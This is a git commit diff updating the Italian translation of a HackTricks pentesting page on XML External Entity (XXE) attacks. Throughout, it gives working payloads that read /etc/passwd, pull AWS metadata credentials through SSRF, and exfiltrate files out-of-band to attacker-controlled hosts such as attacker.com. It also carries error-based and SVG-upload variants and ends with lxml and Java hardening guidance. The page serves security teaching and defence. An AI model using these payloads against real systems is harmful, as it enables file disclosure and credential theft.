mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to it
This commit is contained in:
Translator
parent
d0b9552432
commit
6f30a6e227
@ -1,21 +1,16 @@
|
||||
# XXE - XEE - XML External Entity
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Nozioni di base su XML
|
||||
## Fondamenti di XML
|
||||
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML in quanto non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, con una struttura flessibile che consente l'uso di tag nominati in modo descrittivo. Si differenzia da HTML poiché non è limitato a un insieme di tag predefiniti. L'importanza di XML è diminuita con l'ascesa di JSON, nonostante il suo ruolo iniziale nella tecnologia AJAX.
|
||||
|
||||
- **Rappresentazione dei dati tramite entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `<` e `>`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
|
||||
- **Definizione degli elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a elementi figli specifici.
|
||||
- **Definizione del tipo di documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
|
||||
- **Entità personalizzate ed esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Rilevamento XXE con entità parametro**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate le entità parametro XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
|
||||
- **Rappresentazione dei Dati tramite Entità**: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come `<` e `>`, che corrispondono a `<` e `>` per evitare conflitti con il sistema di tag di XML.
|
||||
- **Definizione degli Elementi XML**: XML consente la definizione dei tipi di elemento, delineando come gli elementi devono essere strutturati e quali contenuti possono contenere, che vanno da qualsiasi tipo di contenuto a specifici elementi figli.
|
||||
- **Definizione del Tipo di Documento (DTD)**: I DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interni, esterni o una combinazione, guidando come i documenti sono formattati e convalidati.
|
||||
- **Entità Personalizzate ed Esterne**: XML supporta la creazione di entità personalizzate all'interno di un DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni di sicurezza, in particolare nel contesto degli attacchi XML External Entity (XXE), che sfruttano il modo in cui i parser XML gestiscono le fonti di dati esterne: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Rilevamento XXE con Entità Parametriche**: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate entità parametriche XML. Queste entità consentono tecniche di rilevamento out-of-band, come l'attivazione di lookup DNS o richieste HTTP a un dominio controllato, per confermare la vulnerabilità.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -23,7 +18,7 @@ XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei
|
||||
|
||||
[**La maggior parte di questi attacchi è stata testata utilizzando i fantastici laboratori XEE di Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Test di nuova entità
|
||||
### Test Nuova Entità
|
||||
|
||||
In questo attacco testerò se una semplice dichiarazione di nuova ENTITÀ funziona.
|
||||
```xml
|
||||
@ -48,7 +43,7 @@ In questo primo caso nota che SYSTEM "_**file:///**etc/passwd_" funzionerà anch
|
||||
```
|
||||
.png>)
|
||||
|
||||
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (non il caso dei laboratori di Portswigger)
|
||||
Questo secondo caso dovrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non il caso dei laboratori di Portswigger)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -80,7 +75,7 @@ In applicazioni basate su **Java** potrebbe essere possibile **elencare i conten
|
||||
```
|
||||
### SSRF
|
||||
|
||||
Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
|
||||
Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
@ -88,7 +83,7 @@ Un XXE potrebbe essere utilizzato per abusare di un SSRF all'interno di un cloud
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità parametriche XML**:
|
||||
Utilizzando la **tecnica precedentemente commentata** puoi far accedere il server a un server che controlli per dimostrare che è vulnerabile. Ma, se ciò non funziona, potrebbe essere perché **le entità XML non sono consentite**, in tal caso potresti provare a utilizzare **entità di parametro XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -155,7 +150,7 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all
|
||||
|
||||
E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
Una scappatoia nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
|
||||
Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
|
||||
```xml
|
||||
@ -193,7 +188,7 @@ I passaggi delineati sono eseguiti da questo DTD:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **controllando** se qualcuno di essi esiste:
|
||||
Poiché questa tecnica utilizza un **DTD interno, è necessario trovarne uno valido prima**. Puoi farlo **installando** lo stesso **SO / Software** che utilizza il server e **cercando alcuni DTD predefiniti**, oppure **prendendo un elenco** di **DTD predefiniti** all'interno dei sistemi e **verificando** se qualcuno di essi esiste:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -210,7 +205,7 @@ Nel seguente fantastico repo di github puoi trovare **percorsi di DTD che posson
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per scoprire come.
|
||||
Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -315,7 +310,7 @@ Poi puoi provare a decifrare l'hash usando hashcat
|
||||
|
||||
### XInclude
|
||||
|
||||
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` offre una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
|
||||
Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
|
||||
```xml
|
||||
@ -327,7 +322,7 @@ Controlla [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
|
||||
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche le immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
|
||||
Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa tenta di leggere file di sistema:
|
||||
```xml
|
||||
@ -434,7 +429,7 @@ Se il web utilizza Java, puoi controllare il [**jar: protocol**](xxe-xee-xml-ext
|
||||
### HTML Entities
|
||||
|
||||
Trucco da [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puoi creare un **entity all'interno di un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
|
||||
Puoi creare un **entity dentro un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
|
||||
Nota che le **HTML Entities** utilizzate devono essere **numeriche** (come \[in questo esempio]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -539,7 +534,7 @@ Per includere il contenuto del file nel messaggio di errore, il file DTD viene r
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Questa modifica porta all'exfiltrazione riuscita del contenuto del file, come riflesso nell'output di errore inviato tramite HTTP. Questo indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.
|
||||
Questa modifica porta all'exfiltrazione riuscita del contenuto del file, poiché è riflessa nell'output di errore inviato tramite HTTP. Questo indica un attacco XXE (XML External Entity) riuscito, sfruttando sia tecniche Out of Band che Error-Based per estrarre informazioni sensibili.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -689,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
|
||||
|
||||
> [!INFO]
|
||||
> La libreria Python **lxml** utilizza **libxml2** sotto il cofano. Le versioni precedenti a **lxml 5.4.0 / libxml2 2.13.8** espandono ancora le entità *parameter* anche quando `resolve_entities=False`, rendendole accessibili quando l'applicazione abilita `load_dtd=True` e/o `resolve_entities=True`. Questo consente payload XXE basati su errori che incorporano i contenuti di file locali nel messaggio di errore del parser.
|
||||
> La libreria Python **lxml** utilizza **libxml2** sotto il cofano. Le versioni precedenti a **lxml 5.4.0 / libxml2 2.13.8** espandono ancora le entità *parameter* anche quando `resolve_entities=False`, rendendole accessibili quando l'applicazione abilita `load_dtd=True` e/o `resolve_entities=True`. Questo consente payload XXE basati su errori che incorporano il contenuto di file locali nel messaggio di errore del parser.
|
||||
|
||||
#### 1. Sfruttare lxml < 5.4.0
|
||||
1. Identificare o creare un DTD *locale* su disco che definisca un'entità parametro **non definita** (ad es. `%config_hex;`).
|
||||
@ -698,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* Ridefinisce l'entità non definita in modo che:
|
||||
- Legga il file di destinazione (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Costruisca un'altra entità parametro che si riferisce a un **percorso non valido** contenente il valore `%flag;` e attivi un errore del parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Infine espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
|
||||
3. Infine, espandere `%local_dtd;` e `%eval;` in modo che il parser incontri `%error;`, non riesca ad aprire `/aaa/<FLAG>` e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -731,18 +726,51 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Punti chiave
|
||||
#### Key takeaways
|
||||
* **Le entità parametro** vengono ancora espanse da libxml2 anche quando `resolve_entities` dovrebbe bloccare XXE.
|
||||
* Un **URI non valido** o un **file inesistente** è sufficiente per concatenare dati controllati nell'eccezione generata.
|
||||
* La tecnica funziona **senza connettività in uscita**, rendendola ideale per ambienti con filtraggio rigoroso in uscita.
|
||||
* La tecnica funziona **senza connettività in uscita**, rendendola ideale per ambienti con filtri di uscita rigorosi.
|
||||
|
||||
#### Linee guida per la mitigazione
|
||||
#### Mitigation guidance
|
||||
* Aggiorna a **lxml ≥ 5.4.0** e assicurati che il **libxml2** sottostante sia **≥ 2.13.8**.
|
||||
* Disabilita `load_dtd` e/o `resolve_entities` a meno che non sia assolutamente necessario.
|
||||
* Evita di restituire errori di parser grezzi al client.
|
||||
|
||||
### Esempio di indurimento di Java DocumentBuilderFactory
|
||||
|
||||
Le applicazioni Java analizzano frequentemente XML utilizzando `DocumentBuilderFactory`. Per impostazione predefinita, la fabbrica **consente la risoluzione delle entità esterne**, rendendola vulnerabile a XXE e SSRF se non vengono impostati flag di indurimento aggiuntivi:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
```
|
||||
Esempio di configurazione sicura:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
|
||||
// Completely forbid any DOCTYPE declarations (best-effort defence)
|
||||
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
|
||||
// Disable expansion of external entities
|
||||
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
||||
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
||||
|
||||
// Enable "secure processing" which applies additional limits
|
||||
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
|
||||
|
||||
// Defensive extras
|
||||
dbf.setXIncludeAware(false);
|
||||
dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Se l'applicazione deve supportare i DTD internamente, mantieni `disallow-doctype-decl` disabilitato ma **lascia sempre** le due funzionalità `external-*-entities` impostate su `false`. La combinazione previene payload di file-disclosure classici (`file:///etc/passwd`) così come vettori SSRF basati su rete (`http://169.254.169.254/…`, protocollo `jar:`, ecc.).
|
||||
|
||||
Caso studio reale: **CVE-2025-27136** nell'emulatore Java S3 *LocalS3* utilizzava il costruttore vulnerabile mostrato sopra. Un attaccante non autenticato poteva fornire un corpo XML creato ad arte all'endpoint `CreateBucketConfiguration` e far sì che il server incorporasse file locali (ad esempio `/etc/passwd`) nella risposta HTTP.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Estrai informazioni tramite HTTP utilizzando il proprio DTD esterno: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user